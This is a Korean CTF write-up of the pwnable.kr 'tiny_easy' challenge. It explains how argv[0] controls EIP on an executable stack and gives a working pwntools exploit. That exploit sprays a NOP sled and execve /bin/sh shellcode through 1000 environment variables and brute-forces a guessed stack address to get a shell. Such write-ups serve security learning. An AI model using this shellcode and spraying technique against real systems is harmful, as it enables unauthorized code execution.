Pwnstar
Pwnable.kr tiny_easy 본문
tiny_easy 아마 1월?? 쯤에 풀었던 문제인데 그 당시 대체 무슨 문제인지 감도 못잡다가 거의 일주일만에 그것도 도움을 받아서 간신히 푼 문제이다.
우선 보호기법은 보다시피 NX bit 가 걸려있어서 쉘코드를 실행시키지 못할 것처럼 보인다 그런데 스택 영역의 권한을 보면,
stack 영역에 모든 권한이 다 주어져있다. 정말 웃기는 문제이다.
아무튼 이제 무슨 문제인지 대충 보려고 실행시켜보았는데,
실행시키자마자 중지된다. 이게 대체 왜 이런건지 코어파일을 뜯어봤는데,
eip가 음...뭔가 아스키코드 같은 값으로 덮여있다. 이 값이 뭔지 찾아봐야했다.
스택을 뒤지던 도중,
보니까 저 빨간 화살표가 있는 부분과 같다.
아 보니까 환경변수가 들어가는 공간이다...
저 부분을 보고 들었던 생각이
그러면 소프크 링크를 통해 ./tiny_easy를 쉘코드로 바꾸면 가능하지 않을까...? 였다. 그래서 한 번 시도해봤다.
이런 식으로 만드는 데에 성공했는데..
이걸 실행시켜도 쉘이 뜨지 않았다.
이것 저것 해보다가 eip를 덮을 수 있는 방법을 찾았다. pwntools로 인자(argv)를 전달해주는 방법인데 이 방법으로 원하는 값을 argv(0)으로 넘겨준다면 이 값이 eip가 되는 것을 확인할 수 있었다.
from pwn import*
argv_ = ['\x41\x41\x41\x41']
p = process(executable = "./tiny_easy", argv=argv_)
p.interactive()
이런식으로 할 수 있는데 이 코드를 실행시켜서 얻은 코어파일을 보면
eip가 AAAA로 바뀌어있다.
여기까지 오는데 일주일 가까이 걸렸다.
이 이후에 방법을 찾지 못해 도움을 받았는데 조금 더 생각해봤더라면 풀 수 있었지 않았나 싶다...
환경변수로 nop과 쉘코드를 무수히 많이 올린 뒤, 스택의 주소가 될만한 값을 argv로 넘겨준다면 쉘이 획득된다.
이 방법을 사용해보자. 주소는 위 스택의 값으로 했다.
ex.py
from pwn import*
payload = "\x90" * 1000 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
env_ = {}
argv_ = [p32(0xffa6c80e)]
for i in range(0, 1000):
env_[str(i)] = payload
for i in range(0, 1000):
p = process(executable = "./tiny_easy", argv=argv_, env=env_)
try:
p.sendline("id")
p.recv(100)
except:
print("trial " + str(i))
continue
p.interactive()
실행해보면
로컬에서 성공적으로 쉘을 획득했다.
이제 서버 내에서 돌려보자
서버 내에서는 스택의 주소가 조금 달라서 그 부분만 살짝 수정했다.
바로 성공했다.
'Pwnable.kr > Rookiss' 카테고리의 다른 글
Pwnable.kr syscall (0) | 2020.07.22 |
---|---|
Pwnable.kr fsb (0) | 2020.06.25 |
Pwnable.kr dragon (0) | 2020.06.16 |
Pwnable.kr ascii_easy (0) | 2020.06.16 |
Pwnable.kr md5 calulator (0) | 2020.06.16 |